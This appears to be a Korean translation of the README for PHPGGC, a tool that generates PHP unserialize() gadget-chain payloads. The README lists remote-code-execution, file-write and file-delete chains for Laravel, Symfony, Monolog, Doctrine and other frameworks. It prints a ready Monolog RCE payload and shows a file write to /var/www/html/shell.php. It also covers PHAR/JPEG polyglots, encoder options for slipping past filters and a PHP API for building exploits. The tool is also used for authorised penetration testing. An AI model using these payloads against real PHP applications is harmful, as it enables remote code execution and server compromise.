
PHPGGC는 PHP unserialize() 페이로드의 라이브러리이자, 명령줄 또는 프로그래밍 방식으로 이를 생성하는 도구입니다.
PHPGGC는 unserialize() 페이로드 모음과 함께 명령줄 또는 프로그래밍 방식으로 이를 생성하는 도구를 제공하는 라이브러리입니다. 코드가 없는 웹사이트에서 unserialize를 만났을 때, 또는 단순히 익스플로잇을 구축하려고 할 때, 이 도구는 가젯을 찾고 결합하는 지루한 과정을 거치지 않고도 페이로드를 생성할 수 있게 해줍니다. 이는 frohoff의 ysoserial에 해당하는 PHP 버전이라고 볼 수 있습니다. 현재 이 도구는 CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii, ZendFramework 등의 가젯 체인을 지원합니다.
PHPGGC를 실행하려면 PHP >= 5.6이 필요합니다.
가젯 체인 목록을 얻으려면 ./phpggc -l을 실행하세요:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
가젯 체인 필터링:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
모든 가젯 체인에는 다음이 있습니다:
__destruct(), __toString(), offsetGet(), ...)체인에 대한 자세한 정보를 얻으려면 -i를 사용하세요:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
RCE 가젯의 경우 실행되는 명령은 가젯이 동작하는 방식에 따라 3가지 형식 유형을 가질 수 있습니다:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system id체인을 선택한 후 ./phpggc <gadget-chain> [parameters]를 실행하여 페이로드를 얻으세요.
예를 들어, Monolog용 페이로드를 얻으려면 다음과 같이 합니다:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
SwiftMailer를 사용한 파일 쓰기의 경우 다음과 같이 합니다:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
--wrapper (-w) 옵션을 사용하면 다음 함수들을 포함하는 PHP 파일을 정의할 수 있습니다:
process_parameters(array $parameters): generate() 직전에 호출되며, 매개변수를 변경할 수 있습니다.process_object(object $object): serialize() 직전에 호출되며, 객체를 변경할 수 있습니다.process_serialized(string $serialized): serialize() 직후에 호출되며, 직렬화된 문자열을 변경할 수 있습니다.예를 들어, 취약한 코드가 다음과 같다면:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
다음과 같이 __toString() 체인을 래핑하여 사용할 수 있습니다:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
그리고 다음과 같이 phpggc를 호출합니다:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
2018년 BlackHat US에서 @s_n_t가 PHPGGC의 포크인 PHARGGC를 발표했습니다. PHARGGC는 직렬화된 페이로드를 만드는 대신 전체 PHAR 파일을 생성합니다. 이 PHAR 파일에는 직렬화된 데이터가 포함되어 있어 다양한 공격 기법(file_exists, fopen 등)에 사용할 수 있습니다. 관련 논문은 여기에서 확인할 수 있습니다.
PHAR 아카이브는 PHAR, TAR, ZIP의 세 가지 형식으로 제공됩니다. PHPGGC는 세 가지 형식을 모두 지원합니다.
폴리글랏(Polyglot) 파일은 --phar-jpeg (-pj)를 사용하여 생성할 수 있습니다. 다른 옵션도 사용할 수 있습니다 (-h 참조).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
인수를 사용하여 페이로드가 출력되는 방식을 수정할 수 있습니다. 예를 들어, -u는 URL 인코딩을 수행하고 -b는 base64로 변환합니다.
페이로드에는 종종 NULL 바이트가 포함되어 있어 그대로 복사/붙여넣기할 수 없습니다. 페이로드를 읽을 수 있는 상태로 유지하는 소프트 URL 인코딩에는 -s를 사용하세요.
인코더는 체이닝할 수 있으므로 순서가 중요합니다. 예를 들어, ./phpggc -b -u -u slim/rce1 system id는 페이로드를 base64로 인코딩한 다음 두 번 URL 인코딩합니다.
PHPGGC는 --fast-destruct (-f) 플래그를 구현합니다. 이 플래그는 직렬화된 객체가 스크립트 종료 시점이 아닌 unserialize() 호출 직후에 소멸되도록 보장합니다. 신뢰성이 향상되므로 모든 __destruct 벡터에 사용할 것을 권장합니다. 예를 들어, 호출 이후 PHP 스크립트가 예외를 발생시키면 객체의 __destruct 메서드가 호출되지 않을 수 있습니다. 이 플래그는 인코더와 동시에 처리되므로 먼저 설정해야 합니다.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
표준 s 대신 S 직렬화 형식을 사용합니다. 모든 비-ASCII 문자를 16진수 표현으로 변환합니다:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
어떤 이유로 비-ASCII 문자가 허용되지 않는 경우(예: NULL 바이트)에 유용할 수 있습니다. 페이로드에는 일반적으로 이러한 문자가 포함되므로 이 옵션을 사용하면 페이로드가 ASCII 값으로만 구성되도록 보장할 수 있습니다.
참고: 이 기능은 실험적이며 일부 경우에는 작동하지 않을 수 있습니다.
표준 s 대신 S 직렬화 형식을 사용합니다. 모든 문자를 16진수 표현으로 변환합니다:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
방화벽이나 PHP 코드가 문자열을 차단할 때 유용합니다.
참고: 이 기능은 실험적이며 일부 경우에는 작동하지 않을 수 있습니다.
참고: 이 방식은 페이로드의 각 문자열 크기를 3배로 증가시킵니다.
때때로 PHP 스크립트는 /O:[0-9]+:와 같은 정규식을 사용하여 주어진 직렬화된 페이로드에 객체가 포함되어 있지 않은지 확인합니다. 이는 O:123: 대신 O:+123:...를 사용하여 쉽게 우회할 수 있습니다. --plus-numbers <types> 또는 -n <types>를 사용하면 기호 앞에 + 기호를 자동으로 추가할 수 있습니다.
예를 들어, 객체와 문자열을 난독화하려면 --n Os를 사용할 수 있습니다. PHP 7.2부터는 i 및 d(부동소수점) 유형만 +를 가질 수 있다는 점에 유의하세요.
직렬화된 페이로드 내에서 protected 또는 private 속성에 대한 참조를 public으로 변환하려고 시도합니다. PHP는 객체의 비공개 속성을 직렬화할 때 속성 이름 앞에 NULL 바이트로 둘러싸인 별표(protected의 경우) 또는 클래스 이름(private의 경우)을 붙입니다. 페이로드가 인코딩 없이 일반 텍스트로 전송되거나 저장되면 이러한 NULL 바이트가 쉽게 손실될 수 있으므로 이 기능이 유용합니다. 그렇게 되면 속성 이름의 문자열 길이(및 이름 자체)가 올바르지 않게 되어 페이로드가 역직렬화에 실패합니다. 추가 이점으로, 접두사가 없으면 페이로드가 약간 더 작아집니다. 속성을 public으로 변환하는 것은 최신 PHP 버전에서 잘 작동하는 경향이 있지만 이전 버전(PHP 7.2 이전)에서는 문제를 일으킬 수 있습니다. 체인에 사용자 정의 serialize / unserialize 구현을 가진 객체가 하나 이상 포함된 경우 이 기능이 제대로 작동하지 않을 수 있습니다.
사용하려는 가젯 체인이 대상 환경에서 작동하는지 테스트하려면 해당 환경의 폴더로 이동하여 --test-payload 옵션과 함께 인수 없이 체인을 실행하세요.
예를 들어, Monolog/RCE2가 Symfony 4.x에서 작동하는지 테스트하려면:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
페이로드가 트리거되면 종료 코드는 0이고, 그렇지 않으면 1입니다.
가젯 체인이 어떤 패키지 버전에서 작동하는지 확인하려면 test-gc-compatibility.py를 사용할 수 있습니다.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
다음 구문을 사용하여 테스트할 버전을 지정할 수 있습니다.
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
PHPGGC를 명령줄 도구로 사용하는 대신 PHP 스크립트로 프로그래밍할 수 있습니다:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
이를 통해 매개변수를 조정하거나 익스플로잇을 더 쉽게 작성할 수 있습니다. 참고: 현재 이 기능은 상당히 실험적이므로 버그를 보고해 주시기 바랍니다.
Pull Request는 언제나 환영합니다. 다음의 간단한 지침을 따라주세요:
__destruct()는 항상 가장 좋은 벡터입니다.{는 새 줄에 있어야 하며, 배열은 이전 표기법인 array(1, 2, 3) 대신 [1, 2, 3]으로 작성해야 합니다.코드 측면에서 디렉터리 구조는 매우 간단합니다: 가젯은 _gadgets.php_에, 설명과 로직은 _chain.php_에 있습니다. 매개변수를 수정해야 하는 경우 전처리 및 후처리 메서드를 정의할 수 있습니다. 이미 구현된 가젯이 여러분만의 가젯을 만드는 데 충분한 참고가 되기를 바랍니다. 그렇지 않은 경우에도 기꺼이 질문에 답변해 드리겠습니다.
가능한 한 많은 버전을 테스트해 주세요. 버전 명명법은 다음과 같습니다: [-]<lower-version> <= <higher-version>[+]. - 및 + 기호는 페이로드가 각각 더 낮은 버전과 더 높은 버전에서 작동할 수 있음을 나타냅니다. 예를 들어, 가젯 체인이 버전 2.0.0부터 당시 최신 버전인 4.4.1까지 작동한다면 2.0.0 <= 4.4.1+로 표기하세요.
--new <framework> <type> 명령줄 옵션을 사용하여 새 가젯 체인의 디렉터리 및 파일 구조를 생성할 수 있습니다.
예를 들어, ./phpggc -n Drupal RCE는 새로운 Drupal RCE 가젯 체인을 생성합니다.
PHP를 설치하고 싶지 않다면 다음 명령으로 Docker 이미지를 빌드할 수 있습니다:
$ docker build . -t 'phpggc'
그런 다음 Docker화된 phpggc를 사용할 수 있습니다.
$ docker run phpggc Monolog/rce1 'system' 'id'
해당 환경의 폴더로 이동하여 --test-payload 옵션과 함께 인수 없이 체인을 실행하세요:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
참고: 명령은 입력 이미지가 있는 디렉터리에서 실행해야 합니다.
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py 실행$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘